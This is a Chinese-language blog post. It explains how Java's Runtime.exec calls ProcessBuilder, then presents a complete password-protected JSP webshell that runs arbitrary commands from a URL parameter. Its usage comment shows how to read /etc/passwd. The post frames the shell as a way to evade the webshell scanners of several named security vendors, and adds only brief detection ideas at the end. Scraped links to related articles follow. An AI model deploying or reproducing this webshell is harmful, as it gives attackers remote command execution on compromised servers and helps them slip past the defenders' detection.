浅析JAVA Runtime原理与过各大厂商免杀webshell制作
Author:Sevck
Date:2017年6月24日
昨天在网络尖刀老年活动中心群里,忽然想到一个问题,就是JAVA在运行Runtime执行命令的时候会不会调用bash,因为php等语言会调用bash进行命令:
我:JAVA在执行命令的时候会不会调用bash?
Feng : processbuilder
我:
/**
* Executes the specified command and arguments in a separate process.
*
*/
public Process exec(String cmdarray[]) throws IOException {
return exec(cmdarray, null, null);
} 我 : 只有 Runtime.exec("/bin/bash xxxxx")才调bash
好奇JAVA的Runtime是如何实现的,去翻阅JAVA源码查看实现方法:
Runtime执行实例:
Runtime.getRuntime().exec("TODO");
实现代码(文件代码:java/lang/Runtime.java 346 行):
// 方法1
public Process exec(String command) throws IOException {
return exec(command, null, null);
}
// 方法2
public Process exec(String command, String[] envp) throws IOException {
return exec(command, envp, null);
}
// 方法3
public Process exec(String command, String[] envp, File dir)
throws IOException {
if (command.length() == 0)
throw new IllegalArgumentException("Empty command"); StringTokenizer st = new StringTokenizer(command);
String[] cmdarray = new String[st.countTokens()];
for (int i = 0; st.hasMoreTokens(); i++)
cmdarray[i] = st.nextToken();
return exec(cmdarray, envp, dir);
}
// 方法4
public Process exec(String cmdarray[]) throws IOException {
return exec(cmdarray, null, null);
}
// 方法5
public Process exec(String[] cmdarray, String[] envp) throws IOException {
return exec(cmdarray, envp, null);
// 方法6
public Process exec(String[] cmdarray, String[] envp, File dir)
throws IOException {
return new ProcessBuilder(cmdarray)
.environment(envp)
.directory(dir)
.start();
}
}
从上面可以看出几个重要的信息:
- 方法1和方法2调用的是方法3
- 方法3调用的是方法6
- 方法4和方法5调用的也是方法6
- 方法6创建了一个ProcessBuilder对象
至此,是Runtime.getRuntime().exec("TODO")的实现原理,但是还是没有详细的解释清楚是如何实现的,只是说调用了ProcessBuilder类。
ProcessBuilder是J2SE 1.5之后新增的类,此类用于创建操作系统进程,它提供一种启动和管理进程(也就是应用程序)的方法。在J2SE 1.5之前,都是由Process类处来实现进程的控制管理。
Process和ProcessBuilder的关系:
每个 ProcessBuilder 实例管理一个进程属性集。它的start() 方法利用这些属性创建一个新的 Process 实例。start() 方法可以从同一实例重复调用,以利用相同的或相关的属性创建新的子进程。
ProcessBuilder为进程提供了更多的控制,例如,可以设置当前工作目录,还可以改变环境参数。而Process的功能相对来说简单的多。
ProcessBuilder是一个final类,有两个带参数的构造方法,你可以通过构造方法来直接创建ProcessBuilder的对象。而Process是一个抽象类,一般都通过Runtime.exec()和ProcessBuilder.start()来间接创建其实例。
ProcessBuilder:
java.lang.ProcessBuilder,父类Object.
源码ProcessBuilder类的注释:
- This class is used to create operating system processes.
- Each ProcessBuilder instance manages a collection of process attributes.
- The start() method creates a new Process instance with those attributes.
- The start() method can be invoked repeatedly from the same instance to create new subprocesses with identical or related attributes.
真对该类有更详细的解释,详情请看:https://docs.oracle.com/javase/7/docs/api/java/lang/ProcessBuilder.html
所以,在执行Runtime的时候或者执行Process再者ProcessBuilder都是在进程中执行的,所以也不会调用bash。
除非一些webshell在调用执行命令的时候指定了bash,例如Runtime.getRuntime().exec("/bin/bash -c id");
利用ProcessBuilder简单写一个webshell:
<%--
Created by IntelliJ IDEA.
User: sevck
Date: 2017/6/24
Time: 10:06
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.Process" %>
<html>
<head>
<title>jsp shell file</title>
</head> <body>
<%
/*
Use: http://127.0.0.1/shell.jsp?pwd=sevck&cmd=cat@/etc/passwd
*/
// Verify OS Windows or Linux
String os = System.getProperty("os.name");
if(os.toLowerCase().startsWith("win")){
out.print("windows");
}else{
out.print("Linux");
}
if(request.getParameter("cmd") != null && request.getParameter("pwd").equals("sevck") ){
// Request Parameter cmd contents conversion String to Strings args.
String command = request.getParameter("cmd");
String [] args = command.split("@");
try {
// Create Process In the process, the received parameter is an array.
ProcessBuilder pb = new ProcessBuilder(args);
// Setup Process Output Result (Normal and Error)
pb.redirectErrorStream(true);
// Start Process
Process pro = pb.start();
}catch (Exception e){
// TODO
String error =e.getMessage();
}
}else {
out.print("业务测试");
}
%>
</body>
</html>
这样,这个webshell就达到了任意命令执行:

我们利用这个测试一下各大厂商查杀效果:
360:

腾讯:

D盾:

安全狗:

微步在线:

检测与遐想:
Audit可以审计每个进程,那么Audit检测JAVA启动的进程是否为异常进程,例如:执行恶意二进制,查看修改文件等。
或者从JVM进行监控。
浅析JAVA Runtime原理与过各大厂商免杀webshell制作的更多相关文章
- 20165223《网络对抗技术》Exp3 免杀原理与实践
目录 -- 免杀原理与实践 免杀原理与实践 本次实验任务 基础知识问答 免杀扫描引擎 实验内容 正确使用msf编码器,msfvenom生成jar等文件,veil-evasion,加壳工具,使用shel ...
- 2018-2019 2 20165203 《网络对抗技术》 Exp3 免杀原理与实践
2018-2019 2 20165203 <网络对抗技术> Exp3 免杀原理与实践 免杀原理与实践说明及基础问答部分 实验任务 正确使用msf编码器(0.5分),msfvenom生成如j ...
- 2017-2018-2 20155303 『网络对抗技术』Exp3:免杀原理与实践
2017-2018-2 20155303 『网络对抗技术』Exp3:免杀原理与实践 --------CONTENTS-------- 1. 免杀原理与实践说明 实验说明 基础问题回答 2. 使用msf ...
- 2018-2019-2 20165209 《网络对抗技术》Exp3:免杀原理与实践
2018-2019-2 20165209 <网络对抗技术>Exp3:免杀原理与实践 1 免杀原理与实验内容 1.1 免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中 ...
- Java JUC之Atomic系列12大类实例讲解和原理分解
Java JUC之Atomic系列12大类实例讲解和原理分解 2013-02-21 0个评论 作者:xieyuooo 收藏 我要投稿 在java6以后我们不但接触到了Loc ...
- 浅析java内存管理机制
内存管理是计算机编程中的一个重要问题,一般来说,内存管理主要包括内存分配和内存回收两个部分.不同的编程语言有不同的内存管理机制,本文在对比C++和Java语言内存管理机制的不同的基础上,浅析java中 ...
- Java入门-浅析Java学习从入门到精通【转】
一. JDK (Java Development Kit) JDK是整个Java的核心,包括了Java运行环境(Java Runtime Envirnment),一堆Java工具和Java基础的类库 ...
- [转帖]浅析java程序的执行过程
浅析java程序的执行过程 转帖来源: https://www.cnblogs.com/wangjiming/p/10315983.html 之前学习过 这一块东西 但是感觉理解的不深刻. copy一 ...
- 【JVM】linux上tomcat中部署的web服务,时好时坏,莫名其妙宕机,报错:There is insufficient memory for the Java Runtime Environment to continue.
=========================================================================================== 环境: linu ...
随机推荐
- 深入剖析JDK动态代理源码实现
动态代理.静态代理优缺点优点:业务类只需要关注业务逻辑本身,保证了业务类的重用性.这是代理的共有优点.动态代理只有在用到被代理对象的时候才会对被代理类进行类加载. 而静态代理在编译器就已经开始占内存了 ...
- Kafka详解六:Kafka如何通过源码实现监控
问题导读: 1.kafka的消费者组的消费偏移存储,kafka支持两个版本? 2.ConsumerOffsetChecker类的作用是什么? 3.Kafka如何通过源码实现 ...
- 让外界可以访问电脑上的网站的几种方式——花生壳,域名,IIS(待)
前话: 每次“养大“一个网站,都有种骄傲地想秀给朋友们看的冲动. 之前可能是困于电脑,实在不方便. 现在,不用克制了! 该秀就秀,能装逼就装逼. 养大孩子就该拉出来秀秀,见见世面. 正题:这次实习,我 ...
- 解决Pycharm中matplotlib画图出错问题(AttributeError: module 'matplotlib' has no attribute 'verbose')
最近在Linux中使用pycharm过程中使用matplotlib无法画图,总是提示错误 /usr/bin/python3. /home/leo/PycharmProjects/untitled1/E ...
- Oracle中的BLOB和CLOB【转载】
原文地址:http://jelly.iteye.com/blog/65796 一.区别和定义 LONG: 可变长的字符串数据,最长2G,LONG具有VARCHAR2列的特性,可以存储长文本一个表中最多 ...
- Spring Boot入门——使用jsp
使用步骤: 1.创建Maven web project项目 2.在pom.xml文件中添加依赖 <project xmlns="http://maven.apache.org/POM/ ...
- css3+jquery+js做的翻翻乐小游戏
主要是为了练习一下css3的3D翻转功能,就做了这么个小游戏,做的比较粗糙,但是效果看的见. 主要用到的css3代码如下: html结构: <div class="container& ...
- array_merge函数的注意事项
array_merge — 合并一个或多个数组 array_merge() 将一个或多个数组的单元合并起来,一个数组中的值附加在前一个数组的后面.返回作为结果的数组 如果输入的数组中有相同的字符串键名 ...
- python中的类和对象
类和对象 1. 类和对象和概念 类:共性事物的抽象,是对某一类具有共同事物的描述,是具有相同属性和方法的集合 对象:类的实例,是共性事物的一个体现,是这类事物中的每个个体 2. 总结: 类是对象的模板 ...
- c++primer 第二章编程练习答案
2.7.1 #include<iostream> int main() { using namespace std; ]; ]; cout << "input nam ...